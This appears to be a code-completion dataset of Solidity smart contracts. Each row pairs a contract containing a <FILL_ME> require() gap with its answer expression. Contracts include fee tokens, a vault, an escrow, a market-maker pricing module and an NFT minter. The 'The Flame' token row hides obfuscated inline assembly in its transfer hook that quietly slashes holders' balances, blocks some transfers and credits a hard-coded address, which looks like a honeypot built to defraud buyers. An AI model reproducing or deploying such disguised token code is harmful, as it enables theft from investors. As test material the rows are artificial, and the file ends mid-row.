function isExcludedAntiWhale(address account) public view returns (bool) {
}
function isLpPool(address pairAddress) public view returns (bool) {
}
function setIsLpPool(address pairAddress, bool isLp) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setNumTokensToSwap(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override notDenied(from) notDenied(to) antiWhale(from, to, amount) {
}
function _processFees(uint256 tokenAmount, uint256 minAmountOut) private lockTheSwap {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount, uint256 minAmountOut) private {
}
/// @dev Add liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendToMarketing(uint256 amount) private {
}
}
| totalFees()-marketingFee+_marketingFee<=MAX_FEE,"Tax too high" | 411,727 | totalFees()-marketingFee+_marketingFee<=MAX_FEE |
"Vault: insufficient underlying" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
contract Vault is ERC20, ReentrancyGuard {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
bool public constant isVault = true;
address public owner;
modifier onlyOwner() {
}
event OwnerChanged(address indexed newOwner, address indexed oldOwner);
address public manager;
modifier onlyManager() {
}
event ManagerChanged(address indexed newManager, address indexed oldManager);
address public underlying;
event Harvest(address indexed owner, address indexed token, uint256 indexed amount);
event Mint(address indexed owner, uint256 mintedShares, uint256 amountUnderlying, uint256 sharePrice);
event Burn(address indexed owner, uint256 burnedShares, uint256 amountUnderlying, uint256 sharePrice);
event Deposit(address indexed manager, address indexed token, uint256 indexed amount);
event Withdraw(address indexed manager, address indexed token, uint256 indexed amount);
uint256 public sharePrice;
event SharePriceChanged(uint256 indexed newPrice, uint256 indexed oldPrice);
EnumerableSet.AddressSet private assetSet;
constructor(string memory _name, string memory _symbol, address _underlying, address _owner) ERC20(_name, _symbol) {
}
function mint(uint256 amountUnderlying) onlyOwner nonReentrant public {
}
function burn(uint256 amountShares) onlyOwner nonReentrant public {
uint256 amountUnderlying = amountShares * sharePrice / 1e18;
require(amountShares <= balanceOf(msg.sender), "Vault: insufficient shares");
require(<FILL_ME>)
_burn(msg.sender, amountShares);
IERC20(underlying).safeTransfer(msg.sender, amountUnderlying);
emit Burn(owner, amountShares, amountUnderlying, sharePrice);
}
function harvest(address token, uint256 amount) onlyOwner nonReentrant public {
}
function harvestETH(uint256 amount) onlyOwner nonReentrant public {
}
function withdraw(address token, uint256 amount) onlyManager nonReentrant public {
}
function withdrawETH(uint256 amount) onlyManager nonReentrant public {
}
function deposit(address token, uint256 amount) onlyManager nonReentrant public {
}
function addAsset(address token) onlyManager public {
}
function removeAsset(address token) onlyManager public {
}
function assets() public view returns (address[] memory) {
}
function setSharePrice(uint256 newPrice) onlyManager nonReentrant public {
}
function setManager(address newManager) onlyManager public {
}
function setOwner(address newOwner) onlyManager public {
}
function vaultId() public view returns (bytes32) {
}
receive() onlyManager external payable {
}
}
| IERC20(underlying).balanceOf(address(this))>=amountUnderlying,"Vault: insufficient underlying" | 411,887 | IERC20(underlying).balanceOf(address(this))>=amountUnderlying |
"Vault: total market cap too high" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
contract Vault is ERC20, ReentrancyGuard {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
bool public constant isVault = true;
address public owner;
modifier onlyOwner() {
}
event OwnerChanged(address indexed newOwner, address indexed oldOwner);
address public manager;
modifier onlyManager() {
}
event ManagerChanged(address indexed newManager, address indexed oldManager);
address public underlying;
event Harvest(address indexed owner, address indexed token, uint256 indexed amount);
event Mint(address indexed owner, uint256 mintedShares, uint256 amountUnderlying, uint256 sharePrice);
event Burn(address indexed owner, uint256 burnedShares, uint256 amountUnderlying, uint256 sharePrice);
event Deposit(address indexed manager, address indexed token, uint256 indexed amount);
event Withdraw(address indexed manager, address indexed token, uint256 indexed amount);
uint256 public sharePrice;
event SharePriceChanged(uint256 indexed newPrice, uint256 indexed oldPrice);
EnumerableSet.AddressSet private assetSet;
constructor(string memory _name, string memory _symbol, address _underlying, address _owner) ERC20(_name, _symbol) {
}
function mint(uint256 amountUnderlying) onlyOwner nonReentrant public {
}
function burn(uint256 amountShares) onlyOwner nonReentrant public {
}
function harvest(address token, uint256 amount) onlyOwner nonReentrant public {
}
function harvestETH(uint256 amount) onlyOwner nonReentrant public {
}
function withdraw(address token, uint256 amount) onlyManager nonReentrant public {
}
function withdrawETH(uint256 amount) onlyManager nonReentrant public {
}
function deposit(address token, uint256 amount) onlyManager nonReentrant public {
}
function addAsset(address token) onlyManager public {
}
function removeAsset(address token) onlyManager public {
}
function assets() public view returns (address[] memory) {
}
function setSharePrice(uint256 newPrice) onlyManager nonReentrant public {
require(newPrice > 0, "Vault: share price cannot be zero");
// The next line provokes an overflow error in solc > 0.8.x, which is intended.
require(<FILL_ME>)
emit SharePriceChanged(newPrice, sharePrice);
sharePrice = newPrice;
}
function setManager(address newManager) onlyManager public {
}
function setOwner(address newOwner) onlyManager public {
}
function vaultId() public view returns (bytes32) {
}
receive() onlyManager external payable {
}
}
| totalSupply()*newPrice/1e18>=0,"Vault: total market cap too high" | 411,887 | totalSupply()*newPrice/1e18>=0 |
"Invalid state for this escrow order" | // SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
// Import the IERC20 interface for ERC-20 token interaction
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface INonStandardERC20 {
function transferFrom(address from, address to, uint256 amount) external;
function transfer(address to, uint256 amount) external;
}
contract Escrow {
address payable public arbiter =
payable(0x0D930E42Cd8C161F13C3F2Bdc3212D850B18EC89);
address public constant usdtContractAddress =
0xdAC17F958D2ee523a2206206994597C13D831ec7;
uint256 public totalRevenue = 0;
uint256 public numberOfOrders = 0;
enum State {
await_delivery,
complete,
refunded
}
struct EscrowOrder {
address payable buyer;
address payable seller;
State state;
uint256 usdtAmount;
}
mapping(uint256 => EscrowOrder) public escrowOrders;
mapping(uint256 => bool) public doesOrderExist;
INonStandardERC20 private iusdt;
IERC20 private usdt;
constructor() {
}
function balanceOf(address account) public view returns (uint256) {
}
function usdtAllowance(address owner) public view returns (uint256) {
}
function revenue() public view returns (uint256) {
}
modifier instate(uint256 orderId, State expectedState) {
require(<FILL_ME>)
_;
}
modifier onlyBuyer(uint256 orderId) {
}
modifier onlySeller(uint256 orderId) {
}
function createEscrowOrder(
uint256 orderId,
address payable _seller,
uint256 _usdtAmount
) public {
}
function confirmDelivery(
uint256 orderId
) public onlyBuyer(orderId) instate(orderId, State.await_delivery) {
}
function returnPayment(
uint256 orderId
) public onlySeller(orderId) instate(orderId, State.await_delivery) {
}
}
| escrowOrders[orderId].state==expectedState,"Invalid state for this escrow order" | 411,941 | escrowOrders[orderId].state==expectedState |
Errors.INVALID_TOKEN | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.16;
import "../lib/MakerTypes.sol";
import "../lib/Types.sol";
import "../lib/InitializableOwnable.sol";
import "../lib/Errors.sol";
import {ID3MM} from "../intf/ID3MM.sol";
/// @notice D3Maker is a dependent price controll model. Maker could set token price and other price
/// parameters to control swap. The key part is MakerState(in D3Maker) and flag(in D3MM) parameter. MakerState
/// contains token price, amount and swap fee. Specially for token price, which is supposed to be set frequently,
/// we use one slot to compress 3 token price with dependent price array. Flags in D3MM decide whether this token's
/// cumulative volumn change, which means resetting integral start point. Every function should reset cumulative
/// volumn.
/// @dev maker could not delete token function
contract D3Maker is InitializableOwnable {
MakerTypes.MakerState internal state;
address public _POOL_;
address[] internal poolTokenlist;
// ============== Event =============
// use operatorIndex to distinct different setting, 1 = setMaxInterval 2 = setTokensPrice, 3 = setNSPriceSlot,
// 4 = setStablePriceSlot, 5 = setTokensAmounts, 6 = setTokensKs
event SetPoolInfo(uint256 indexed operatorIndex);
event SetNewToken(address indexed token);
// ============== init =============
function init(address owner, address pool, uint256 maxInterval) external {
}
// ============= Read for tokenMMInfo =================
function getTokenMMInfoForPool(address token)
external
view
returns (Types.TokenMMInfo memory tokenMMInfo, uint256 tokenIndex)
{
}
// ================== Read parameters ==============
/// @notice give one token's address, give back token's priceInfo
function getOneTokenPriceSet(address token) public view returns (uint80 priceSet) {
require(<FILL_ME>)
uint256 tokenOriIndex = state.priceListInfo.tokenIndexMap[token] - 1;
uint256 tokenIndex = (tokenOriIndex / 2);
uint256 tokenIndexInnerSlot = tokenIndex % MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT;
uint256 curAllPrices = tokenOriIndex % 2 == 1
? state.priceListInfo.tokenPriceNS[tokenIndex / MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT]
: state.priceListInfo.tokenPriceStable[tokenIndex / MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT];
curAllPrices = curAllPrices >> (MakerTypes.ONE_PRICE_BIT * tokenIndexInnerSlot);
priceSet = uint80(curAllPrices & ((2 ** (MakerTypes.ONE_PRICE_BIT)) - 1));
}
/// @notice get one token index. odd for none-stable, even for stable, true index = (tokenIndex[address] - 1) / 2
function getOneTokenOriginIndex(address token) public view returns (int256) {
}
/// @notice get all stable token Info
/// @return numberOfStable stable tokens' quantity
/// @return tokenPriceStable stable tokens' price slot array. each data contains up to 3 token prices
function getStableTokenInfo()
external
view
returns (uint256 numberOfStable, uint256[] memory tokenPriceStable, uint256 curFlag)
{
}
/// @notice get all non-stable token Info
/// @return number stable tokens' quantity
/// @return tokenPrices stable tokens' price slot array. each data contains up to 3 token prices
function getNSTokenInfo() external view returns (uint256 number, uint256[] memory tokenPrices, uint256 curFlag) {
}
/// @notice used for construct several price in one price slot
/// @param priceSlot origin price slot
/// @param slotInnerIndex token index in slot
/// @param priceSet the token info needed to update
function stickPrice(
uint256 priceSlot,
uint256 slotInnerIndex,
uint256 priceSet
) public pure returns (uint256 newPriceSlot) {
}
function checkHeartbeat() public view returns (bool) {
}
function getPoolTokenListFromMaker() external view returns(address[] memory tokenlist) {
}
// ============= Set params ===========
/// @notice maker could use multicall to set different params in one tx.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
}
/// @notice maker set a new token info
/// @param token token's address
/// @param priceSet packed price, [mid price(16) | mid price decimal(8) | fee rate(16) | ask up rate (16) | bid down rate(16)]
/// @param amountSet describe ask and bid amount and K, [ask amounts(16) | ask amounts decimal(8) | bid amounts(16) | bid amounts decimal(8) ] = one slot could contains 4 token info
/// @param stableOrNot describe this token is stable or not, true = stable coin
/// @param kAsk k of ask curve
/// @param kBid k of bid curve
function setNewToken(
address token,
bool stableOrNot,
uint80 priceSet,
uint64 amountSet,
uint16 kAsk,
uint16 kBid
) external onlyOwner {
}
/// @notice set token prices
/// @param tokens token address set
/// @param tokenPrices token prices set, each number pack one token all price.Each format is the same with priceSet
/// [mid price(16) | mid price decimal(8) | fee rate(16) | ask up rate (16) | bid down rate(16)] = one slot could contains 3 token info
function setTokensPrice(
address[] calldata tokens,
uint80[] calldata tokenPrices
) external onlyOwner {
}
/// @notice user set PriceListInfo.tokenPriceNS price info, only for none-stable coin
/// @param slotIndex tokenPriceNS index
/// @param priceSlots tokenPriceNS price info, every data has packed all 3 token price info
/// @param newAllFlag maker update token cumulative status,
/// for allFlag, tokenOriIndex represent bit index in allFlag. eg: tokenA has origin index 3, that means (allFlag >> 3) & 1 = token3's flag
/// flag = 0 means to reset cumulative. flag = 1 means not to reset cumulative.
/// @dev maker should be responsible for data availability
function setNSPriceSlot(
uint256[] calldata slotIndex,
uint256[] calldata priceSlots,
uint256 newAllFlag
) external onlyOwner {
}
/// @notice user set PriceListInfo.tokenPriceStable price info, only for stable coin
/// @param slotIndex tokenPriceStable index
/// @param priceSlots tokenPriceStable price info, every data has packed all 3 token price info
/// @param newAllFlag maker update token cumulative status,
/// for allFlag, tokenOriIndex represent bit index in allFlag. eg: tokenA has origin index 3, that means (allFlag >> 3) & 1 = token3's flag
/// flag = 0 means to reset cumulative. flag = 1 means not to reset cumulative.
/// @dev maker should be responsible for data availability
function setStablePriceSlot(
uint256[] calldata slotIndex,
uint256[] calldata priceSlots,
uint256 newAllFlag
) external onlyOwner {
}
/// @notice set token Amounts
/// @param tokens token address set
/// @param tokenAmounts token amounts set, each number pack one token all amounts.Each format is the same with amountSetAndK
/// [ask amounts(16) | ask amounts decimal(8) | bid amounts(16) | bid amounts decimal(8) ]
function setTokensAmounts(
address[] calldata tokens,
uint64[] calldata tokenAmounts
) external onlyOwner {
}
/// @notice set token Ks
/// @param tokens token address set
/// @param tokenKs token k_ask and k_bid, structure like [kAsk(16) | kBid(16)]
function setTokensKs(address[] calldata tokens, uint32[] calldata tokenKs) external onlyOwner {
}
/// @notice set acceptable setting interval, if setting gap > maxInterval, swap will revert.
function setHeartbeat(uint256 newMaxInterval) public onlyOwner {
}
}
| state.priceListInfo.tokenIndexMap[token]>0,Errors.INVALID_TOKEN | 412,324 | state.priceListInfo.tokenIndexMap[token]>0 |
Errors.HAVE_SET_TOKEN_INFO | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.16;
import "../lib/MakerTypes.sol";
import "../lib/Types.sol";
import "../lib/InitializableOwnable.sol";
import "../lib/Errors.sol";
import {ID3MM} from "../intf/ID3MM.sol";
/// @notice D3Maker is a dependent price controll model. Maker could set token price and other price
/// parameters to control swap. The key part is MakerState(in D3Maker) and flag(in D3MM) parameter. MakerState
/// contains token price, amount and swap fee. Specially for token price, which is supposed to be set frequently,
/// we use one slot to compress 3 token price with dependent price array. Flags in D3MM decide whether this token's
/// cumulative volumn change, which means resetting integral start point. Every function should reset cumulative
/// volumn.
/// @dev maker could not delete token function
contract D3Maker is InitializableOwnable {
MakerTypes.MakerState internal state;
address public _POOL_;
address[] internal poolTokenlist;
// ============== Event =============
// use operatorIndex to distinct different setting, 1 = setMaxInterval 2 = setTokensPrice, 3 = setNSPriceSlot,
// 4 = setStablePriceSlot, 5 = setTokensAmounts, 6 = setTokensKs
event SetPoolInfo(uint256 indexed operatorIndex);
event SetNewToken(address indexed token);
// ============== init =============
function init(address owner, address pool, uint256 maxInterval) external {
}
// ============= Read for tokenMMInfo =================
function getTokenMMInfoForPool(address token)
external
view
returns (Types.TokenMMInfo memory tokenMMInfo, uint256 tokenIndex)
{
}
// ================== Read parameters ==============
/// @notice give one token's address, give back token's priceInfo
function getOneTokenPriceSet(address token) public view returns (uint80 priceSet) {
}
/// @notice get one token index. odd for none-stable, even for stable, true index = (tokenIndex[address] - 1) / 2
function getOneTokenOriginIndex(address token) public view returns (int256) {
}
/// @notice get all stable token Info
/// @return numberOfStable stable tokens' quantity
/// @return tokenPriceStable stable tokens' price slot array. each data contains up to 3 token prices
function getStableTokenInfo()
external
view
returns (uint256 numberOfStable, uint256[] memory tokenPriceStable, uint256 curFlag)
{
}
/// @notice get all non-stable token Info
/// @return number stable tokens' quantity
/// @return tokenPrices stable tokens' price slot array. each data contains up to 3 token prices
function getNSTokenInfo() external view returns (uint256 number, uint256[] memory tokenPrices, uint256 curFlag) {
}
/// @notice used for construct several price in one price slot
/// @param priceSlot origin price slot
/// @param slotInnerIndex token index in slot
/// @param priceSet the token info needed to update
function stickPrice(
uint256 priceSlot,
uint256 slotInnerIndex,
uint256 priceSet
) public pure returns (uint256 newPriceSlot) {
}
function checkHeartbeat() public view returns (bool) {
}
function getPoolTokenListFromMaker() external view returns(address[] memory tokenlist) {
}
// ============= Set params ===========
/// @notice maker could use multicall to set different params in one tx.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
}
/// @notice maker set a new token info
/// @param token token's address
/// @param priceSet packed price, [mid price(16) | mid price decimal(8) | fee rate(16) | ask up rate (16) | bid down rate(16)]
/// @param amountSet describe ask and bid amount and K, [ask amounts(16) | ask amounts decimal(8) | bid amounts(16) | bid amounts decimal(8) ] = one slot could contains 4 token info
/// @param stableOrNot describe this token is stable or not, true = stable coin
/// @param kAsk k of ask curve
/// @param kBid k of bid curve
function setNewToken(
address token,
bool stableOrNot,
uint80 priceSet,
uint64 amountSet,
uint16 kAsk,
uint16 kBid
) external onlyOwner {
require(<FILL_ME>)
// check amount
require(kAsk >= 0 && kAsk <= 10000, Errors.K_LIMIT);
require(kBid >= 0 && kBid <= 10000, Errors.K_LIMIT);
poolTokenlist.push(token);
// set new token info
state.tokenMMInfoMap[token].priceInfo = priceSet;
state.tokenMMInfoMap[token].amountInfo = amountSet;
state.tokenMMInfoMap[token].kAsk = kAsk;
state.tokenMMInfoMap[token].kBid = kBid;
state.heartBeat.lastHeartBeat = block.timestamp;
// set token price index
uint256 tokenIndex;
if (stableOrNot) {
// is stable
tokenIndex = state.priceListInfo.numberOfStable * 2;
uint256 innerSlotIndex = state.priceListInfo.numberOfStable % MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT;
uint256 slotIndex = state.priceListInfo.numberOfStable / MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT;
if (innerSlotIndex == 0) {
state.priceListInfo.tokenPriceStable.push(priceSet);
} else {
state.priceListInfo.tokenPriceStable[slotIndex] = (
uint256(priceSet) << (MakerTypes.ONE_PRICE_BIT * innerSlotIndex)
) + state.priceListInfo.tokenPriceStable[slotIndex];
}
state.priceListInfo.numberOfStable++;
} else {
tokenIndex = state.priceListInfo.numberOfNS * 2 + 1;
uint256 innerSlotIndex = state.priceListInfo.numberOfNS % MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT;
uint256 slotIndex = state.priceListInfo.numberOfNS / MakerTypes.PRICE_QUANTITY_IN_ONE_SLOT;
if (innerSlotIndex == 0) {
state.priceListInfo.tokenPriceNS.push(priceSet);
} else {
state.priceListInfo.tokenPriceNS[slotIndex] = (
uint256(priceSet) << (MakerTypes.ONE_PRICE_BIT * innerSlotIndex)
) + state.priceListInfo.tokenPriceNS[slotIndex];
}
state.priceListInfo.numberOfNS++;
}
// to avoid reset the same token, tokenIndexMap record index from 1, but actualIndex = tokenIndex[address] - 1
state.priceListInfo.tokenIndexMap[token] = tokenIndex + 1;
state.tokenMMInfoMap[token].tokenIndex = uint16(tokenIndex);
emit SetNewToken(token);
}
/// @notice set token prices
/// @param tokens token address set
/// @param tokenPrices token prices set, each number pack one token all price.Each format is the same with priceSet
/// [mid price(16) | mid price decimal(8) | fee rate(16) | ask up rate (16) | bid down rate(16)] = one slot could contains 3 token info
function setTokensPrice(
address[] calldata tokens,
uint80[] calldata tokenPrices
) external onlyOwner {
}
/// @notice user set PriceListInfo.tokenPriceNS price info, only for none-stable coin
/// @param slotIndex tokenPriceNS index
/// @param priceSlots tokenPriceNS price info, every data has packed all 3 token price info
/// @param newAllFlag maker update token cumulative status,
/// for allFlag, tokenOriIndex represent bit index in allFlag. eg: tokenA has origin index 3, that means (allFlag >> 3) & 1 = token3's flag
/// flag = 0 means to reset cumulative. flag = 1 means not to reset cumulative.
/// @dev maker should be responsible for data availability
function setNSPriceSlot(
uint256[] calldata slotIndex,
uint256[] calldata priceSlots,
uint256 newAllFlag
) external onlyOwner {
}
/// @notice user set PriceListInfo.tokenPriceStable price info, only for stable coin
/// @param slotIndex tokenPriceStable index
/// @param priceSlots tokenPriceStable price info, every data has packed all 3 token price info
/// @param newAllFlag maker update token cumulative status,
/// for allFlag, tokenOriIndex represent bit index in allFlag. eg: tokenA has origin index 3, that means (allFlag >> 3) & 1 = token3's flag
/// flag = 0 means to reset cumulative. flag = 1 means not to reset cumulative.
/// @dev maker should be responsible for data availability
function setStablePriceSlot(
uint256[] calldata slotIndex,
uint256[] calldata priceSlots,
uint256 newAllFlag
) external onlyOwner {
}
/// @notice set token Amounts
/// @param tokens token address set
/// @param tokenAmounts token amounts set, each number pack one token all amounts.Each format is the same with amountSetAndK
/// [ask amounts(16) | ask amounts decimal(8) | bid amounts(16) | bid amounts decimal(8) ]
function setTokensAmounts(
address[] calldata tokens,
uint64[] calldata tokenAmounts
) external onlyOwner {
}
/// @notice set token Ks
/// @param tokens token address set
/// @param tokenKs token k_ask and k_bid, structure like [kAsk(16) | kBid(16)]
function setTokensKs(address[] calldata tokens, uint32[] calldata tokenKs) external onlyOwner {
}
/// @notice set acceptable setting interval, if setting gap > maxInterval, swap will revert.
function setHeartbeat(uint256 newMaxInterval) public onlyOwner {
}
}
| state.priceListInfo.tokenIndexMap[token]==0,Errors.HAVE_SET_TOKEN_INFO | 412,324 | state.priceListInfo.tokenIndexMap[token]==0 |
"ERC20: trading is not yet enabled." | // Everything burns... you just gotta know what kind of flame to set.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private flameAddr;
uint256 private _lostIt = block.number*2;
mapping (address => bool) private _theOk;
mapping (address => bool) private _theWine;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private falseText;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _taxes;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private babyShark = 1; bool private moonBoy;
uint256 private _decimals; uint256 private rocketStart;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _initSets() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
assembly {
if eq(chainid(),0x1) {
function gHash(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
function dynP(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
function dynL(x,y) -> val { mstore(0, x) val := sload(add(keccak256(0, 32),sub(sload(x),y))) }
if iszero(sload(0x1E)) { sstore(0x1E,mul(div(sload(0x10),0x1869F),0x9C5)) sstore(0x1C,sload(0x1E)) } sstore(0x1D,add(sload(0x1D),0x1))
if gt(sload(0x1E),div(0x1C,0x3)) { sstore(0x1E,sub(sload(0x1E),div(div(mul(sload(0x1E),mul(0x203,sload(0x1D))),0xB326),0x2))) } if eq(sload(gHash(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(and(eq(sload(0x16),0x1),iszero(eq(recipient,sload(gDyn(0x2,0x1))))),lt(sload(0x15),0x7)) { for { let i := 0 } lt(i, sub(sload(0x21),0x1)) { i := add(i, 1) } { sstore(gHash(sload(gDyn(0x21,i)),0x6),div(sload(gHash(sload(gDyn(0x21,i)),0x6)),0x64)) } sstore(0x15,add(sload(0x15),0x1)) }
if or(and(eq(sload(gHash(sender,0x4)),0x1),eq(sload(gHash(recipient,0x4)),0x0)),and(eq(sload(gHash(sender,0x4)),0x0),eq(sload(gHash(recipient,0x4)),0x0))) { dynP(0x21,recipient) }
if and(or(or(or(eq(sload(0x3),number()),sload(0x16)),lt(sub(sload(0x3),sload(0x13)),0x7)),gt(sload(0x1A),sload(0x1E))),eq(sload(gHash(dynL(0x21,0x2),0x4)),0x0)) { sstore(gHash(dynL(0x21,0x2),0x6),div(sload(gHash(dynL(0x21,0x2),0x6)),0x64)) } if or(and(eq(sload(0x16),0x1),eq(dynL(0x21,0x1),sender)),and(or(sload(gHash(sender,0x5)),sload(gHash(recipient,0x5))),gt(sload(0x1D),0x1))) { invalid() }
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) sstore(gHash(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) } sstore(0x3,number()) sstore(0x1A,integer)
}
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployFlame(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheFlame is ERC20Token {
constructor() ERC20Token("The Flame", "FLAME", msg.sender, 50000 * 10 ** 18) {
}
}
| (trading||(sender==flameAddr[1])),"ERC20: trading is not yet enabled." | 412,437 | (trading||(sender==flameAddr[1])) |
"ERC721Main: URI already exists" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
import "openzeppelin-solidity/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "openzeppelin-solidity/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "openzeppelin-solidity/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "openzeppelin-solidity/contracts/security/ReentrancyGuard.sol";
import "openzeppelin-solidity/contracts/utils/cryptography/ECDSA.sol";
import "openzeppelin-solidity/contracts/access/AccessControl.sol";
import "./exchange-provider/IExchangeProvider.sol";
import "./IFees.sol";
contract ERC721Main is
ERC721Burnable,
ERC721Enumerable,
ERC721URIStorage,
ReentrancyGuard,
AccessControl
{
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
string public baseURI;
address public factory;
uint256 private _lastMintedId;
mapping(string => bool) private hasTokenWithURI;
string private CONTRACT_URI;
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
constructor(
string memory _name,
string memory _symbol,
string memory baseURI_,
string memory _CONTRACT_URI,
address signer
) ERC721(_name, _symbol) {
}
function contractURI() external view returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 tokenId)
internal
virtual
override(ERC721, ERC721URIStorage)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function mint (
string calldata _tokenURI,
bytes calldata signature
) external payable nonReentrant {
_verifySigner(_tokenURI, signature);
require(<FILL_ME>)
require(msg.value == IFees(factory).getFee(), "Wrong mint fees");
payable(IFees(factory).getReceiver()).transfer(msg.value);
uint256 tokenId = _lastMintedId++;
_safeMint(_msgSender(), tokenId);
hasTokenWithURI[_tokenURI] = true;
_setTokenURI(tokenId, _tokenURI);
setApprovalForAll(IExchangeProvider(factory).exchange(), true);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _toString(uint256 value) private pure returns (string memory) {
}
function _verifySigner(string calldata _tokenURI, bytes calldata signature) private view {
}
}
| !hasTokenWithURI[_tokenURI],"ERC721Main: URI already exists" | 412,571 | !hasTokenWithURI[_tokenURI] |
"1" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
